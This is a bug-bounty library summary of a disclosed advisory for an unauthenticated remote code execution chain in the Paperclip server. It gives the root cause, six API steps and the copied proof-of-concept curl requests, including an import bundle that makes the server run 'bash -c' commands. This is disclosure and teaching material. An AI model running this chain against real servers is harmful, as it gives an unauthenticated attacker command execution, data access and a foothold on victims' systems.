# paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass

Unauthenticated attacker chains open signup, CLI-auth self-approval, and missing admin check on company import to spawn arbitrary commands as the server user.

- Payout: Research
- Severity: critical
- Program: Paperclip
- Found by: sagilayani
- Disclosed: 2026-04-10
- CVE: CVE-2026-41679
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-68qg-g8mg-6pr7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-68qg-g8mg-6pr7
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Paperclip server HTTP API (auth, cli-auth, companies/import, agents wakeup)
**Root cause:** Company import endpoint only calls assertBoard and omits the instance-admin check present on direct company creation, while the process adapter spawns attacker-supplied command/args with no sandboxing. Open signup and self-approvable CLI auth challenges let an unauthenticated user reach it.
**Steps:**
1. POST `/api/auth/sign-up/email` with `{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}` — no invite or email verification
2. POST `/api/auth/sign-in/email` with same creds, capture session cookie
3. POST `/api/cli-auth/challenges` with `{"command":"test"}` to get token and boardApiToken
4. POST `/api/cli-auth/challenges/<id>/approve` with own session cookie and `{"token":"<token>"}` to self-approve
5. POST `/api/companies/import` with Bearer boardApiToken and inline bundle containing `.paperclip.yaml` with `adapter.type: process`, `command: bash`, `args: ["-c","id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"]`, target mode `new_company`
6. POST `/api/agents/<agent-id>/wakeup` with `{}` to trigger spawn of the command
**How found:** Code review of route handlers: noticed assertInstanceAdmin imported in agents.ts but absent from companies.ts, and that the import endpoint only calls assertBoard. Traced the process adapter's unvalidated adapterConfig pass-through to spawn(), then built the unauthenticated path via default-open signup and self-approvable CLI challenges.
**Exploitation:** Six unauthenticated API calls: register, login, create+self-approve CLI auth challenge to mint a persistent board API key, import a company bundle whose .paperclip.yaml defines a process-adapter agent running `bash -c`, then wake the agent. Paperclip spawns the command as the server OS user, giving filesystem access, DB access, and internal network pivot.
**Escalation:** Chains four flaws: open signup default, no email verification, CLI-auth self-approval, and missing assertInstanceAdmin on import new_company mode; the process adapter provides the final code execution primitive.
**Insight:** When a direct creation endpoint enforces an admin check, diff its sibling import/preview/bulk endpoints for the same guard — importers often skip authorization on nested config like adapter commands. Also check whether CLI/device auth challenges can be approved by their own creator.

## Proof of concept (copied exactly from the original report)

**Import bundle with process adapter command**

```
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import
```

**Unauthenticated sign-up request**

```
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email
```

**Wakeup trigger for malicious agent**

```
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup
```

